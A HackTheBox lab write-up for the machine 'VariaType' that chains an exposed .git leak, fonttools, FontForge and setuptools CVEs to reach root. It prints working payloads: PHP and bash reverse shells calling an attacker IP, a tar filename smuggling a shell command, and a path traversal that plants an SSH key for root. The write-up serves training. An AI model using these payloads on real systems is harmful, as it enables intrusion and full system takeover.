HackTheBox - VariaType

Updated 29-03-2026

A Linux web machine built around font processing tools — leaking source code leads to credentials, and a chain of vulnerabilities in font libraries carries the attack from initial access all the way to root.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ip=10.129.9.151; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 12:40 -0400
Nmap scan report for 10.129.9.151
Host is up (0.16s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.65 seconds

Findings:

  • 22/tcp — OpenSSH 9.2p1 on Debian
  • 80/tcp — nginx 1.22.1 redirecting to variatype.htb

Foothold

Hosts File

1
$ echo '10.129.9.151 variatype.htb' | sudo tee -a /etc/hosts

The main site is a variable font generator — users can upload a .designspace file and master fonts to produce a variable font output.

Subdomain Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ gobuster vhost -u http://variatype.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -t 500
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://variatype.htb
[+] Method: GET
[+] Threads: 500
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
portal.variatype.htb Status: 200 [Size: 2494]

Add the subdomain to /etc/hosts:

1
$ echo '10.129.9.151 portal.variatype.htb' | sudo tee -a /etc/hosts

portal.variatype.htb is an Internal Validation Portal protected by a login form.

Exposed .git Directory

Directory enumeration of the portal reveals a .git directory and a files/ path:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -c -u http://portal.variatype.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 1000

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://portal.variatype.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 1000
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 264ms]
[Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 262ms]
files [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 123ms]
index.php [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 126ms]
:: Progress: [4614/4614] :: Job [1/1] :: 3380 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Inspecting the browser’s Network tab also reveals the server path in styles.css:

1
/* /var/www/dev.variatype.htb/styles.css */

Use git-dumper to download the exposed repository:

1
2
3
4
5
$ pipx install git-dumper                                 
installed package git-dumper 1.0.9, installed using Python 3.13.11
These apps are now globally available
- git-dumper
done! ✨ 🌟 ✨
1
$ pipx run --spec git-dumper git-dumper http://portal.variatype.htb/.git ./repo

Recovering Hardcoded Credentials

The current state of the repo contains only an empty auth.php. Inspecting the commit history reveals a reverted commit that removed hardcoded credentials:

1
2
3
4
5
$ git reflog   
753b5f5 (HEAD -> master) HEAD@{0}: reset: moving to HEAD~1
6f021da HEAD@{1}: commit: security: remove hardcoded credentials
753b5f5 (HEAD -> master) HEAD@{2}: commit: fix: add gitbot user for automated validation pipeline
5030e79 HEAD@{3}: commit (initial): feat: initial portal implementation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ git show 6f021da6be70   
commit 6f021da6be7086f2595befaa025a83d1de99478b
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:48 2025 -0500

security: remove hardcoded credentials

diff --git a/auth.php b/auth.php
index b328305..615e621 100644
--- a/auth.php
+++ b/auth.php
@@ -1,5 +1,3 @@
<?php
session_start();
-$USERS = [
- 'gitbot' => 'G1tB0t_Acc3ss_2025!'
-];
+$USERS = [];

Log in to the portal with gitbot:G1tB0t_Acc3ss_2025!.

CVE-2025-66034 — fonttools Arbitrary File Write via Malicious .designspace

The portal dashboard shows recent builds from the variable font generator. Researching .designspace file processing leads to CVE-2025-66034, a vulnerability in the fonttools Python library that allows arbitrary file write and RCE when processing a malicious .designspace file.

Following the advisory PoC, first generate valid .ttf source files using setup.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})

pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()

fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)

if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)

Then craft the malicious .designspace file. The vulnerability lies in the <labelname> CDATA injection combined with the filename attribute in <variable-font> — we can write arbitrary content to an arbitrary path on the server. Here, we write a PHP reverse shell to the web-accessible files/ directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.27 1234 >/tmp/f");?>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MaliciousRevShell" filename="/var/www/portal.variatype.htb/public/files/revshell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>

Upload the .designspace file and both .ttf files to the font generator. Start a listener, then trigger the shell:

1
$ nc -lnvp 1234
1
$ curl http://portal.variatype.htb/files/revshell.php

A shell connects as www-data.

CVE-2024-25082 — FontForge Command Injection via Malicious Filename

Enumerating the server, /opt/process_client_submissions.bak reveals a background script that processes uploaded font archives using /usr/local/src/fontforge/build/bin/fontforge and places results into steve‘s directory.

This version of FontForge is vulnerable to CVE-2024-25082 — a command injection via crafted filenames inside a tar archive. When FontForge processes the archive, it passes filenames directly to a shell, allowing arbitrary command execution.

Write the reverse shell payload to the target:

1
2
www-data@variatype:/tmp$ echo 'bash -i >& /dev/tcp/10.10.16.27/4444 0>&1' > /tmp/s.sh
www-data@variatype:/tmp$ chmod +x /tmp/s.sh

Build the malicious tar archive on the attack machine with a filename that injects a shell command:

1
2
3
4
5
6
7
8
9
10
$ python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF

Serve the archive and download it on the target:

1
$ python -m http.server 80
1
www-data@variatype:/tmp$ wget http://10.10.16.27/exploit.tar

Copy the archive to the watched directory and start a listener:

1
www-data@variatype:/tmp$ cp exploit.tar /var/www/portal.variatype.htb/public/files/exploit.tar
1
2
3
4
5
6
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.27] from (UNKNOWN) [10.129.10.242] 42310
bash: cannot set terminal process group (38631): Inappropriate ioctl for device
bash: no job control in this shell
steve@variatype:/tmp/ffarchive-38632-1$

Privilege Escalation

CVE-2025-47273 — setuptools Path Traversal via sudo Script

Check steve‘s sudo permissions:

1
2
3
4
5
6
7
8
steve@variatype:/tmp/ffarchive-38632-1$ sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

install_validator.py downloads a plugin from a given URL and saves it to /opt/font-tools/validators/. Inspecting the script reveals it uses PackageIndex.download from setuptools. Versions below 78.1.1 are vulnerable to CVE-2025-47273 — a path traversal in PackageIndex.download that allows writing the downloaded file to an arbitrary path by URL-encoding a / in the filename portion of the URL.

Verify the installed version is vulnerable:

1
2
steve@variatype:~$ python3 -c "import setuptools; print(setuptools.__version__)" 
78.1.0

The plan is to serve our SSH public key at a path that, when URL-encoded, resolves to /root/.ssh/authorized_keys on the server.

Generate an SSH key pair on the attack machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ssh-keygen -t ed25519 -C "your_email@example.com"
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519):
Enter passphrase for "/home/kali/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_ed25519
Your public key has been saved in /home/kali/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:mDW4HkXYgGdpFjoavtGiDrQWmkHpH598yrn1e6LpHQQ your_email@example.com
The key's randomart image is:
+--[ED25519 256]--+
| .o*. |
| . ..Bo. |
| o. o=.E+ |
|o. + . *.. |
|.+=.. = S. |
|o++++.... |
|=o.. +.o . |
|+ . = +... |
| . =o+.++ |
+----[SHA256]-----+

Create the directory structure and write the public key:

1
2
$ mkdir -p root/.ssh
$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMt95oNzLkPBfpNs/TmB4/R1802igE65WOgsnFIg2/bE your_email@example.com' >> root/.ssh/authorized_keys

Serve the file and exploit the path traversal by URL-encoding the absolute path in the filename:

1
$ python -m http.server 80
1
2
3
4
5
steve@variatype:~$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.16.27/%2froot%2f.ssh%2fauthorized_keys'
2026-03-18 12:03:34,912 [INFO] Attempting to install plugin from: http://10.10.16.27/%2froot%2f.ssh%2fauthorized_keys
2026-03-18 12:03:34,918 [INFO] Downloading http://10.10.16.27/%2froot%2f.ssh%2fauthorized_keys
2026-03-18 12:03:35,545 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

The script writes the public key directly to /root/.ssh/authorized_keys. Log in as root:

1
2
$ ssh -i ~/.ssh/id_ed25519 root@variatype.htb
root@variatype:~#